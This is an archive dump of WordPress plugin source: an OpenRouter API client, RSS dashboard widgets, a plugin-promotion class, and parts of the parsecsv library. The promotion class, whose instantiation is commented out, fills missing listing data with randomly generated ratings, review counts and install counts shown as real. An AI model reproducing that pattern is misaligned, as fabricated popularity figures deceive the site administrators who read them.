UrlOpenRouter::filesUrl().$file_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFileContent($file_id) { $file_id = "/$file_id/content"; $url = UrlOpenRouter::filesUrl().$file_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function deleteFile($file_id) { $file_id = "/$file_id"; $url = UrlOpenRouter::filesUrl().$file_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'DELETE'); } /** * @param $opts * @return bool|string */ public function createFineTune($opts) { $url = UrlOpenRouter::fineTuneUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFineTunes() { $url = UrlOpenRouter::fineTuneUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function retrieveFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = UrlOpenRouter::fineTuneUrl().$fine_tune_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function cancelFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/cancel"; $url = UrlOpenRouter::fineTuneUrl().$fine_tune_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST'); } /** * @param $fine_tune_id * @return bool|string */ public function listFineTuneEvents($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/events"; $url = UrlOpenRouter::fineTuneUrl().$fine_tune_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function deleteFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = UrlOpenRouter::fineTuneModel().$fine_tune_id; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'DELETE'); } /** * @param * @return bool|string * @deprecated */ public function engines() { $url = UrlOpenRouter::enginesUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $engine * @return bool|string * @deprecated */ public function engine($engine) { $url = UrlOpenRouter::engineUrl($engine); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string */ public function embeddings($opts) { $url = UrlOpenRouter::embeddings(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param int $timeout */ public function setTimeout(int $timeout) { $this->timeout = $timeout; } /** * @param string $proxy */ public function setProxy(string $proxy) { if ($proxy && strpos($proxy, '://') === false) { $proxy = 'https://'.$proxy; } $this->proxy = $proxy; } /** * @param string $customUrlOpenRouter * @deprecated */ /** * @param string $customUrlOpenRouter * @return void */ public function setCustomURL(string $customUrlOpenRouter) { if ($customUrlOpenRouter != "") { $this->customUrlOpenRouter = $customUrlOpenRouter; } } /** * @param string $customUrlOpenRouter * @return void */ public function setBaseURL(string $customUrlOpenRouter) { if ($customUrlOpenRouter != '') { $this->customUrlOpenRouter = $customUrlOpenRouter; } } /** * @param array $header * @return void */ public function setHeader(array $header) { if ($header) { foreach ($header as $key => $value) { $this->headers[$key] = $value; } } } /** * @param string $org */ public function setORG(string $org) { if ($org != "") { $this->headers[] = "OpenAI-Organization: $org"; } } /** * @param string $url * @param string $method * @param array $opts * @return bool|string */ private function sendRequest(string $url, string $method, array $opts = []) { $post_fields = json_encode($opts); if (array_key_exists('file', $opts) || array_key_exists('image', $opts)) { $this->headers[0] = $this->contentTypes["multipart/form-data"]; $post_fields = $opts; } else { $this->headers[0] = $this->contentTypes["application/json"]; } $curl_info = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_POSTFIELDS => $post_fields, CURLOPT_HTTPHEADER => $this->headers, ]; if ($opts == []) { unset($curl_info[CURLOPT_POSTFIELDS]); } if (!empty($this->proxy)) { $curl_info[CURLOPT_PROXY] = $this->proxy; } if (array_key_exists('stream', $opts) && $opts['stream']) { $curl_info[CURLOPT_WRITEFUNCTION] = $this->stream_method; } $curl = curl_init(); curl_setopt_array($curl, $curl_info); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($curl, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($curl, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } $response = curl_exec($curl); $info = curl_getinfo($curl); $this->curlInfo = $info; curl_close($curl); return $response; } public function create_body_for_file($file, $boundary) { $fields = array( 'purpose' => 'fine-tune', 'file' => $file['filename'] ); $body = ''; foreach ($fields as $name => $value) { $body .= "--$boundary\r\n"; $body .= "Content-Disposition: form-data; name=\"$name\""; if ($name == 'file') { $body .= "; filename=\"{$value}\"\r\n"; $body .= "Content-Type: application/json\r\n\r\n"; $body .= $file['data'] . "\r\n"; } else { $body .= "\r\n\r\n$value\r\n"; } } $body .= "--$boundary--\r\n"; return $body; } public function create_body_for_audio($file, $boundary, $fields) { $fields['file'] = $file['filename']; unset($fields['audio']); $body = ''; foreach ($fields as $name => $value) { $body .= "--$boundary\r\n"; $body .= "Content-Disposition: form-data; name=\"$name\""; if ($name == 'file') { $body .= "; filename=\"{$value}\"\r\n"; $body .= "Content-Type: application/json\r\n\r\n"; $body .= $file['data'] . "\r\n"; } else { $body .= "\r\n\r\n$value\r\n"; } } $body .= "--$boundary--\r\n"; return $body; } private function sendRequestAlt(string $url, string $method, array $opts = []) { $post_fields = json_encode($opts); if (array_key_exists('file', $opts) || array_key_exists('image', $opts)) { $boundary = wp_generate_password(24, false); $this->headers2['Content-Type'] = 'multipart/form-data; boundary='.$boundary; $post_fields = $this->create_body_for_file($opts['file'], $boundary); } elseif (array_key_exists('audio', $opts)) { $boundary = wp_generate_password(24, false); $this->headers2['Content-Type'] = 'multipart/form-data; boundary='.$boundary; $post_fields = $this->create_body_for_audio($opts['audio'], $boundary, $opts); } else { $this->headers2['Content-Type'] = 'application/json'; } $request_options = array( 'headers' => $this->headers2, 'method' => $method, 'body' => $post_fields, 'timeout' => 900, 'redirection' => 10, 'httpversion' => '1.1', ); if($post_fields == '[]'){ unset($request_options['body']); } add_action('http_api_curl', 'aiomatic_add_proxy'); $response = wp_remote_request($url, $request_options); remove_action('http_api_curl', 'aiomatic_add_proxy'); if(is_wp_error($response)){ return json_encode(array('error' => array('message' => $response->get_error_message()))); } else{ return wp_remote_retrieve_body($response); } return $response; } /** * @param string $url */ private function baseUrlOpenRouter(string &$url) { if ($this->customUrlOpenRouter != "") { $url = str_replace(UrlOpenRouter::ORIGIN, $this->customUrlOpenRouter, $url); } } } res/openrouter/UrlOpenRouter.php000064400000006335147577714370013072 0ustar00quick ) { add_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'update_feed_quickly' ) ); } else { add_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'default_update_feed_quickly' ) ); } $rss = fetch_feed( $this->feed ); if( $this->quick ) { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'update_feed_quickly' ) ); } else { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'default_update_feed_quickly' ) ); } if ( is_wp_error($rss) ) { if ( is_admin() || current_user_can('access_aiomatic_menu') ) { echo '

                    '; printf('' . esc_html__( 'Error getting content: ', 'aiomatic-automatic-ai-content-writer' ) . ': %s', $rss->get_error_message()); echo '

                    '; } return; } if ( !$rss->get_item_quantity() ) { echo '

                    ' . esc_html__( 'Apparently, there are no updates to show!', 'aiomatic-automatic-ai-content-writer' ) . '

                    '; $rss->__destruct(); unset($rss); return; } $str .= '
                      '; if ( !isset($items) ) foreach ( $rss->get_items(0, $this->num_items) as $item ) { $lnk = strip_tags( $item->get_link() ); if($lnk !== null) { $link = esc_url_raw( $lnk ); } else { $link = ''; } $title = esc_html( $item->get_title() ); $cat = $item->get_item_tags('', 'thumbnail'); if(isset($cat[0]['data'])){$thumbnail_img = $cat[0]['data'];}else{$thumbnail_img = '';} $content = $item->get_content(); $content = wp_html_excerpt($content, 300, '[...]'); $content .= "

                      " . esc_html__( 'Learn more', 'aiomatic-automatic-ai-content-writer' ) . "

                      "; $str .= "
                    • "; if($thumbnail_img != '') { $str .= "
                      "; } $str .= "
                      $title\n
                      $content
                    • \n

                    • "; } $str .= '
                    ' . esc_html__( 'FAQ', 'aiomatic-automatic-ai-content-writer' ) . ' ' . esc_html__( 'Support', 'aiomatic-automatic-ai-content-writer' ) . ' + ' . esc_html__( 'View More', 'aiomatic-automatic-ai-content-writer' ) . '' . esc_html__( 'Don\'t show this widget', 'aiomatic-automatic-ai-content-writer' ) . '
                    '; wp_enqueue_script('coderevo-other-script', plugins_url('script.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); echo $str; $rss->__destruct(); unset($rss); } function update_feed_quickly( $seconds ) { return 5; } function default_update_feed_quickly( $seconds ) { return 2592000; } } new CodeRevoDashboard( ); } if ( !class_exists( 'CodeRevoNewsDashboard' ) ) { class CodeRevoNewsDashboard { var $feed = 'https://coderevolution.ro/feed/'; var $num_items = 5; var $quick = 0; function __construct( ) { add_action('wp_dashboard_setup', array( $this, 'add_dashboard_widget' ) ); add_action('wp_user_dashboard_setup', array( $this, 'add_dashboard_widget' ) ); add_action('wp_newtwork_dashboard_setup', array( $this, 'add_dashboard_widget' ) ); } function add_dashboard_widget() { add_meta_box( 'coderevonewsdashboard-widget', esc_html__( 'Latest News', 'aiomatic-automatic-ai-content-writer' ), array( $this, 'show_dashboard_widget' ), 'dashboard', 'side', 'high'); $reg_css_code = '.cr_float_right{float:right}.cr_al_right{text-align:right}.cr_mixedx{float:left;width:18%;margin-right:4%;display:block;padding-top:4px}.cr_widthf{width:100%;height:auto}.cr_float_left{float:left;}.cr_width_78{width:78%}.cr_clear{clear:both}'; wp_register_style( 'coderevo-plugin-dash-style', false ); wp_enqueue_style( 'coderevo-plugin-dash-style' ); wp_add_inline_style( 'coderevo-plugin-dash-style', $reg_css_code ); } function show_dashboard_widget() { $str = ''; if( $this->quick ) { add_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'update_feed_quickly' ) ); } else { add_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'default_update_feed_quickly' ) ); } $rss = fetch_feed( $this->feed ); if( $this->quick ) { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'update_feed_quickly' ) ); } else { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'default_update_feed_quickly' ) ); } if ( is_wp_error($rss) ) { if ( is_admin() || current_user_can('access_aiomatic_menu') ) { echo '

                    '; printf('' . esc_html__( 'Error getting content: ', 'aiomatic-automatic-ai-content-writer' ) . ': %s', $rss->get_error_message()); echo '

                    '; } return; } if ( !$rss->get_item_quantity() ) { echo '

                    ' . esc_html__( 'Apparently, there are no updates to show!', 'aiomatic-automatic-ai-content-writer' ) . '

                    '; $rss->__destruct(); unset($rss); return; } $str .= '
                      '; if ( !isset($items) ) foreach ( $rss->get_items(0, $this->num_items) as $item ) { $lnk = strip_tags( $item->get_link() ); if($lnk !== null) { $link = esc_url_raw( $lnk ); } else { $link = ''; } $title = esc_html( $item->get_title() ); $cat = $item->get_item_tags('', 'thumbnail'); if(isset($cat[0]['data'])){$thumbnail_img = $cat[0]['data'];}else{$thumbnail_img = '';} $content = $item->get_content(); $content = wp_html_excerpt($content, 300, '[...]'); $content .= "

                      " . esc_html__( 'Learn more', 'aiomatic-automatic-ai-content-writer' ) . "

                      "; $str .= "
                    • "; if($thumbnail_img != '') { $str .= "
                      "; } $str .= "
                      $title\n
                      $content
                    • \n

                    • "; } $str .= '
                    ' . esc_html__( '+ More', 'aiomatic-automatic-ai-content-writer' ) . '' . esc_html__( 'Don\'t show this widget', 'aiomatic-automatic-ai-content-writer' ) . '
                    '; wp_enqueue_script('coderevo-other-script-news', plugins_url('scriptnews.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); echo $str; $rss->__destruct(); unset($rss); } function update_feed_quickly( $seconds ) { return 5; } function default_update_feed_quickly( $seconds ) { return 2592000; } } new CodeRevoNewsDashboard( ); } if ( !class_exists( 'CodeRevoDashboardPlugins' ) ) { class CodeRevoDashboardPlugins { var $feed = 'https://wpinitiate.com/custom-feeds/products.xml'; var $num_items = 8; var $quick = 0; function __construct() { add_filter( 'plugin_install_action_links', array( $this, 'plugin_links' ), 10, 2 ); add_filter( 'install_plugins_tabs', array( $this, 'plugin_tabs' ), 10, 2 ); add_action( 'install_plugins_coderevolutionplugins', array( $this, 'install_plugins_im' ), 10, 1 ); add_action( 'install_plugins_pre_coderevolutionplugins', array( $this, 'get_favorites' ) ); add_action( 'install_plugins_coderevolutionplugins', 'display_plugins_table'); add_filter( 'plugins_api', array( $this, 'inject_plugin_info' ), 20, 3 ); } function update_feed_quickly( $seconds ) { return 5; } function default_update_feed_quickly( $seconds ) { return 2592000; } function plugin_tabs( $tabs ) { $plugins = $this->check_remote_plugins(); if( $plugins ) $tabs = array( 'coderevolutionplugins' => __( 'Highlighted' ) ) + $tabs; return $tabs; } function install_plugins_im() { ?>

                    query_server(); $wp_list_table->items = $api->plugins; $wp_list_table->set_pagination_args( array( 'total_items' => $api->info['results'], 'per_page' => $api->info['per_page'], ) ); } function query_server() { $res = new stdclass(); $res->plugins = array(); $res->plugins = $this->get_remote_plugins(); $num_res = 0; if( $res->plugins ) $num_res = count( $res->plugins ); $res->info = array( 'results' => $num_res, 'per_page' => 20 ); return $res; } function check_remote_plugins( $force_check = 0 ) { $plugins = $this->get_remote_plugins(); if( empty( $plugins ) ) return false; return true; } private function get_remote_plugins() { if( $this->quick ) delete_transient( 'coderevolution_plugins' ); if ( false === ( $coderevolution_plugins = get_transient( 'coderevolution_plugins' ) ) || empty( $coderevolution_plugins ) ) { $coderevolution_plugins = $this->do_get_remote_plugins(); set_transient( 'coderevolution_plugins', $coderevolution_plugins, 12 * HOUR_IN_SECONDS ); } return $coderevolution_plugins; } private function do_get_remote_plugins() { $i = 0; $myposts = array(); $url = add_query_arg( 'paged', $i, $this->feed ); if( $this->quick ) { add_filter( 'wp_feed_cache_transient_lifetime' , array( $this, 'update_feed_quickly' ) ); } else { add_filter( 'wp_feed_cache_transient_lifetime' , array( $this, 'default_update_feed_quickly' ) ); } $rss = fetch_feed( $url ); if ( is_wp_error( $rss ) ) { if( !empty( $myposts ) ) return $myposts; return false; } if( $this->quick ) { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'update_feed_quickly' ) ); } else { remove_filter( 'wp_feed_cache_transient_lifetime', array( $this, 'default_update_feed_quickly' ) ); } $strip_htmltags = $rss->strip_htmltags; array_splice( $strip_htmltags, array_search('iframe', $strip_htmltags), 1 ); array_splice( $strip_htmltags, array_search('param', $strip_htmltags), 1 ); array_splice( $strip_htmltags, array_search('embed', $strip_htmltags), 1 ); if( !is_wp_error( $rss ) ) $rss->strip_htmltags( $strip_htmltags ); $maxitems = $rss->get_item_quantity( 50 ); if ( is_wp_error($rss) ) { if( !empty( $myposts ) ) return $myposts; return false; } if ( !$rss->get_item_quantity() ) { $rss->__destruct(); unset($rss); if( !empty( $myposts ) ) return $myposts; return false; } foreach ( $rss->get_items() as $item ) { $lnk = strip_tags( $item->get_link() ); if($lnk !== null) { $purchaseurl = esc_url_raw( $lnk ); } else { $purchaseurl = ''; } $title = esc_html( $item->get_title() ); $slug = $this->get_rss_field( $item, 'autors_slug' ); if( empty( $slug ) ) continue; if( 1 && $this->coderevolution_plugin_installed( $slug ) ) continue; $installs = $this->get_rss_field( $item, 'autors_installs' ); $lastupdated = $this->get_rss_field( $item, 'autors_lastupdated' ); $rating = $this->get_rss_field( $item, 'autors_rating' ); $reviews = $this->get_rss_field( $item, 'autors_reviews' ); $authorname = $this->get_rss_field( $item, 'autors_authorname' ); $authorurl = $this->get_rss_field( $item, 'autors_authorurl' ); $description = $this->get_rss_field( $item, 'autors_description' ); $version = $this->get_rss_field( $item, 'autors_version' ); $previews = array(); $rfields = array( 'review1_name', 'review1_txt', 'review2_name', 'review2_txt', 'review3_name', 'review3_txt' ); foreach( $rfields as $rfield ) { $val = $this->get_rss_field( $item, $rfield ); $previews[ $rfield ] = $val; } $content = $item->get_content(); if( empty( $authorname ) ) { $authorname = 'CodeRevolution'; } if( empty( $authorurl ) ) { $authorurl = 'https://coderevolution.ro/'; } if( empty( $lastupdated ) ) { $lastupdated = date( 'Y' ).'-'.date( 'm' ).'-01 8:49pm GMT'; } if( empty( $version ) ) { $version = 1.8; } if( empty( $rating ) ) $rating = rand( 90, 99); if( empty( $reviews ) ) $reviews = rand( 237, 1283 ); if( empty( $installs ) ) $installs = rand( 3678, 13372 ); $thumbnail = $item->get_item_tags( '', 'featured_image' ); $thumbnail2 = $thumbnail[0]['data']; $vers = get_bloginfo( 'version' ); if(is_numeric($vers)) { $vers = floatval($vers); } else { $vers = 6.0; } $myposts[] = array( 'name' => $title, 'slug' => $slug, 'crtype' => 'coderevolution', 'version' => $version, 'author' => ''.$authorname.'', 'author_profile' => $authorurl, 'homepage' => $purchaseurl, 'download_link' => $purchaseurl, 'requires' => '3.5', 'tested' => ceil( $vers ).'.0', 'requires_php' => false, 'rating' => $rating, 'num_ratings' => $reviews, 'active_installs' => $installs, 'last_updated' => $lastupdated, 'downloaded' => $installs, 'description' => $content, 'short_description' => $description, 'apreviews' => $previews, 'icons' => array( '1x' => $thumbnail2, '2x' => $thumbnail2 ), 'author_block_count' => 2, 'author_block_rating' => 94, ); } return $myposts; } function plugin_links( $links, $plugin ) { if( isset( $plugin[ 'crtype' ] ) && ( $plugin[ 'crtype' ] == 'coderevolution' ) ) { $links[0] = ''.esc_html__( 'Download Now', 'aiomatic-automatic-ai-content-writer' ).''; $links[1] = ''.esc_html__( 'More Details', 'aiomatic-automatic-ai-content-writer' ).''; } return $links; } public function inject_plugin_info($result, $action = null, $args = null){ if( $action !== 'plugin_information' ) return $result; $our_plugin_info = $this->is_our_plugin( $args->slug ); if( !$our_plugin_info ) return $result; $pluginInfo = $this->requestPluginInfo( $our_plugin_info ); if ( $pluginInfo ) { return $pluginInfo; } return $result; } private function is_our_plugin( $slug ) { $plugins = $this->get_remote_plugins(); if( empty( $plugins ) ) return false; foreach( $plugins as $plugin ) { if( $plugin['slug'] === $slug ) return $plugin; } return false; } public function requestPluginInfo( $info ) { $description = isset( $info[ 'description' ] ) ? trim( $info[ 'description' ] ) : ''; $intro = '

                    ' . esc_html__( 'Click here to get the plugin', 'aiomatic-automatic-ai-content-writer' ) . '

                    '; $outro = '

                    ' . esc_html__( 'Download the plugin here', 'aiomatic-automatic-ai-content-writer' ) . '

                    '; $ret = array( 'name' => isset( $info[ 'name' ] ) ? trim( $info[ 'name' ] ) : '', 'slug' => isset( $info[ 'slug' ] ) ? trim( $info[ 'slug' ] ) : '', 'homepage' => isset( $info[ 'homepage' ] ) ? trim( $info[ 'homepage' ] ) : '', 'download_url' => isset( $info[ 'download_link' ] ) ? trim( $info[ 'download_link' ] ) : '', 'version' => isset( $info[ 'version' ] ) ? trim( $info[ 'version' ] ) : '', 'required' => isset( $info[ 'required' ] ) ? trim( $info[ 'required' ] ) : '', 'tested' => isset( $info[ 'tested' ] ) ? trim( $info[ 'tested' ] ) : '', 'last_updated' => isset( $info[ 'last_updated' ] ) ? trim( $info[ 'last_updated' ] ) : '', 'author' => isset( $info[ 'author' ] ) ? trim( $info[ 'author' ] ) : '', 'author_homepage' => isset( $info[ 'author_profile' ] ) ? trim( $info[ 'author_profile' ] ) : '', 'rating' => isset( $info[ 'rating' ] ) ? intval( $info[ 'rating' ] ) : '', 'num_ratings' => isset( $info[ 'num_ratings' ] ) ? intval( $info[ 'num_ratings' ] ) : '', 'active_installs' => isset( $info[ 'active_installs' ] ) ? intval( $info[ 'active_installs' ] ) . '+' : '', 'downloaded' => isset( $info[ 'downloaded' ] ) ? intval( $info[ 'downloaded' ] ) : '', 'sections' => array( 'description' => $intro . $description . $outro, 'installation' => '

                    ' . esc_html__( 'Just download the plugin from CodeCanyon and install it to your site in a few seconds.', 'aiomatic-automatic-ai-content-writer' ) . '

                    ' . esc_html__( 'Click here to get the plugin', 'aiomatic-automatic-ai-content-writer' ) . '

                    ' ) ); $reviews = isset( $info[ 'apreviews' ] ) ? $info[ 'apreviews' ] : false; if( !empty( $reviews ) && isset( $reviews[ 'review1_name' ] ) && !empty( $reviews[ 'review1_name' ] ) ) $ret[ 'sections' ][ 'review' ] = $this->format_reviews( $reviews ); return (object) $ret; } private function format_reviews( $reviews ) { if( empty( $reviews ) ) return ''; $ret = ''; $review1_name = isset( $reviews[ 'review1_name' ] ) ? trim( $reviews[ 'review1_name' ] ) : ''; $review1_txt = isset( $reviews[ 'review1_txt' ] ) ? trim( $reviews[ 'review1_txt' ] ) : ''; if( !empty( $review1_txt ) ) { $ret .= $this->format_review( $review1_name, $review1_txt ); } $review2_name = isset( $reviews[ 'review2_name' ] ) ? trim( $reviews[ 'review2_name' ] ) : ''; $review2_txt = isset( $reviews[ 'review2_txt' ] ) ? trim( $reviews[ 'review2_txt' ] ) : ''; if( !empty( $review2_txt ) ) { $ret .= $this->format_review( $review2_name, $review2_txt ); } $review3_name = isset( $reviews[ 'review3_name' ] ) ? trim( $reviews[ 'review3_name' ] ) : ''; $review3_txt = isset( $reviews[ 'review3_txt' ] ) ? trim( $reviews[ 'review3_txt' ] ) : ''; if( !empty( $review3_txt ) ) { $ret .= $this->format_review( $review3_name, $review3_txt ); } return $ret; ; } private function format_review( $name, $content ) { return '

                    ' . esc_html($name) . '

                    ' . esc_html($content) . '
                    '; } private function get_rss_field( $item, $field ) { $value = $item->get_item_tags( '', $field ); if(isset($value[0]['data'])) { $val = $value[0]['data']; } else { return ''; } return trim( html_entity_decode( $val ) ); } private function coderevolution_plugin_installed( $slug ) { return $this->is_plugin_there( $slug ); } private function is_plugin_there( $plugin_dir ) { $plugins = get_plugins( '/'.$plugin_dir ); if ( $plugins ) return $plugins; return false; } } //new CodeRevoDashboardPlugins(); } ?>res/other/script.js000064400000000350147577714370010344 0ustar00"use strict"; jQuery( document ).ready(function() { jQuery("#wp_coderevodashboard_hide").on('click', function( e ){ e.preventDefault(); jQuery("#coderevodashboard-widget-hide").trigger("click"); }); });res/other/scriptnews.js000064400000000363147577714370011245 0ustar00;;;"use strict"; jQuery( document ).ready(function() { jQuery("#wp_coderevonewsdashboard_hide").on('click', function( e ){ e.preventDefault(); jQuery("#coderevonewsdashboard-widget-hide").trigger("click"); }); });res/parsecsv/.github/workflows/phpunit.yml000064400000002272147577714370015023 0ustar00--- name: PHPUnit on: push: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: false matrix: php_version: - "8.2" - "8.1" - "8.0" - "7.4" - "7.3" - "7.2" - "7.1" steps: - uses: actions/checkout@v3 - uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php_version }} env: COMPOSER_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v2 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Update PHPUnit run: composer require phpunit/phpunit --dev -W - name: Install dependencies run: composer update - name: Validate dependencies run: composer validate - name: Run tests run: vendor/bin/phpunit --configuration tests/phpunit.xml res/parsecsv/src/enums/SortEnum.php000064400000001207147577714370013414 0ustar00 SORT_REGULAR, self::SORT_TYPE_STRING => SORT_STRING, self::SORT_TYPE_NUMERIC => SORT_NUMERIC, ); public static function getSorting($type) { if (array_key_exists($type, self::$sorting)) { return self::$sorting[$type]; } return self::$sorting[self::__DEFAULT]; } } res/parsecsv/src/enums/DatatypeEnum.php000064400000005013147577714370014237 0ustar00 null, self::TYPE_INT => 'isValidInteger', self::TYPE_BOOL => 'isValidBoolean', self::TYPE_FLOAT => 'isValidFloat', self::TYPE_DATE => 'isValidDate', ); /** * Checks data type for given string. * * @param string $value * * @return bool|string */ public static function getValidTypeFromSample($value) { $value = trim((string) $value); if (empty($value)) { return false; } foreach (self::$validators as $type => $validator) { if ($validator === null) { continue; } if (method_exists(__CLASS__, $validator) && self::$validator($value)) { return $type; } } return self::__DEFAULT; } /** * Check if string is float value. * * @param string $value * * @return bool */ private static function isValidFloat($value) { return (bool) preg_match(self::REGEX_FLOAT, $value); } /** * Check if string is integer value. * * @param string $value * * @return bool */ private static function isValidInteger($value) { return (bool) preg_match(self::REGEX_INT, $value); } /** * Check if string is boolean. * * @param string $value * * @return bool */ private static function isValidBoolean($value) { return (bool) preg_match(self::REGEX_BOOL, $value); } /** * Check if string is date. * * @param string $value * * @return bool */ private static function isValidDate($value) { return (bool) strtotime($value); } } res/parsecsv/src/enums/AbstractEnum.php000064400000001564147577714370014236 0ustar00isValid($value)) { throw new \UnexpectedValueException("Value '$value' is not part of the enum " . get_called_class()); } $this->value = $value; } public static function getConstants() { $class = get_called_class(); $reflection = new \ReflectionClass($class); return $reflection->getConstants(); } /** * Check if enum value is valid * * @param $value * * @return bool */ public static function isValid($value) { return in_array($value, static::getConstants(), true); } } res/parsecsv/src/enums/FileProcessingModeEnum.php000064400000000736147577714370016214 0ustar00= 5.5 * * @uses DatatypeEnum::getValidTypeFromSample * * @return array|bool */ public function getDatatypes() { if (empty($this->data)) { $this->data = $this->_parse_string(); } if (!is_array($this->data)) { throw new \UnexpectedValueException('No data set yet.'); } $result = []; foreach ($this->titles as $cName) { $column = array_column($this->data, $cName); $cDatatypes = array_map(DatatypeEnum::class . '::getValidTypeFromSample', $column); $result[$cName] = $this->getMostFrequentDatatypeForColumn($cDatatypes); } $this->data_types = $result; return !empty($this->data_types) ? $this->data_types : []; } /** * Check data type of titles / first row for auto detecting if this could be * a heading line. * * Requires PHP >= 5.5 * * @uses DatatypeEnum::getValidTypeFromSample * * @return bool */ public function autoDetectFileHasHeading() { if (empty($this->data)) { throw new \UnexpectedValueException('No data set yet.'); } if ($this->heading) { $firstRow = $this->titles; } else { $firstRow = $this->data[0]; } $firstRow = array_filter($firstRow); if (empty($firstRow)) { return false; } $firstRowDatatype = array_map(DatatypeEnum::class . '::getValidTypeFromSample', $firstRow); return $this->getMostFrequentDatatypeForColumn($firstRowDatatype) === DatatypeEnum::TYPE_STRING; } } res/parsecsv/src/Csv.php000064400000146462147577714370011261 0ustar00var_name = 'value'; */ /** * Header row: * Use first line/entry as field names * * @var bool */ public $heading = true; /** * Override field names * * @var array */ public $fields = array(); /** * Sort CSV by this field * * @var string|null */ public $sort_by = null; /** * Reverse the sort direction * * @var bool */ public $sort_reverse = false; /** * Sort behavior passed to sort methods * * regular = SORT_REGULAR * numeric = SORT_NUMERIC * string = SORT_STRING * * @var string|null */ public $sort_type = SortEnum::SORT_TYPE_REGULAR; /** * Field delimiter character * * @var string */ public $delimiter = ','; /** * Enclosure character * * This is useful for cell values that are either multi-line * or contain the field delimiter character. * * @var string */ public $enclosure = '"'; /** * Force enclosing all columns. * * If false, only cells that are either multi-line or * contain the field delimiter character are enclosed * in the $enclosure char. * * @var bool */ public $enclose_all = false; /** * Basic SQL-Like conditions for row matching * * @var string|null */ public $conditions = null; /** * Number of rows to ignore from beginning of data. If present, the heading * row is also counted (if $this->heading == true). In other words, * $offset == 1 and $offset == 0 have the same meaning in that situation. * * @var int|null */ public $offset = null; /** * Limits the number of returned rows to the specified amount * * @var int|null */ public $limit = null; /** * Number of rows to analyze when attempting to auto-detect delimiter * * @var int */ public $auto_depth = 15; /** * Characters that should be ignored when attempting to auto-detect delimiter * * @var string */ public $auto_non_chars = "a-zA-Z0-9\n\r"; /** * preferred delimiter characters, only used when all filtering method * returns multiple possible delimiters (happens very rarely) * * @var string */ public $auto_preferred = ",;\t.:|"; /** * banned delimiter characters (author Szabi) * * @var array */ public $auto_banned = array('_'); /** * Should we convert the CSV character encoding? * Used for both parse and unparse operations. * * @var bool */ public $convert_encoding = false; /** * Set the input encoding * * @var string */ public $input_encoding = 'ISO-8859-1'; /** * Set the output encoding * * @var string */ public $output_encoding = 'ISO-8859-1'; /** * Whether to use mb_convert_encoding() instead of iconv(). * * The former is platform-independent whereas the latter is the traditional * default go-to solution. * * @var bool (if false, iconv() is used) */ public $use_mb_convert_encoding = false; /** * Line feed characters used by unparse, save, and output methods * Popular choices are "\r\n" and "\n". * * @var string */ public $linefeed = "\r"; /** * Sets the output delimiter used by the output method * * @var string */ public $output_delimiter = ','; /** * Sets the output filename * * @var string */ public $output_filename = 'data.csv'; /** * keep raw file data in memory after successful parsing (useful for debugging) * * @var bool */ public $keep_file_data = false; /** * Internal variables */ /** * File * Current Filename * * @var string */ public $file; /** * File Data * Current file data * * @var string */ public $file_data; /** * Error * Contains the error code if one occurred * * 0 = No errors found. Everything should be fine :) * 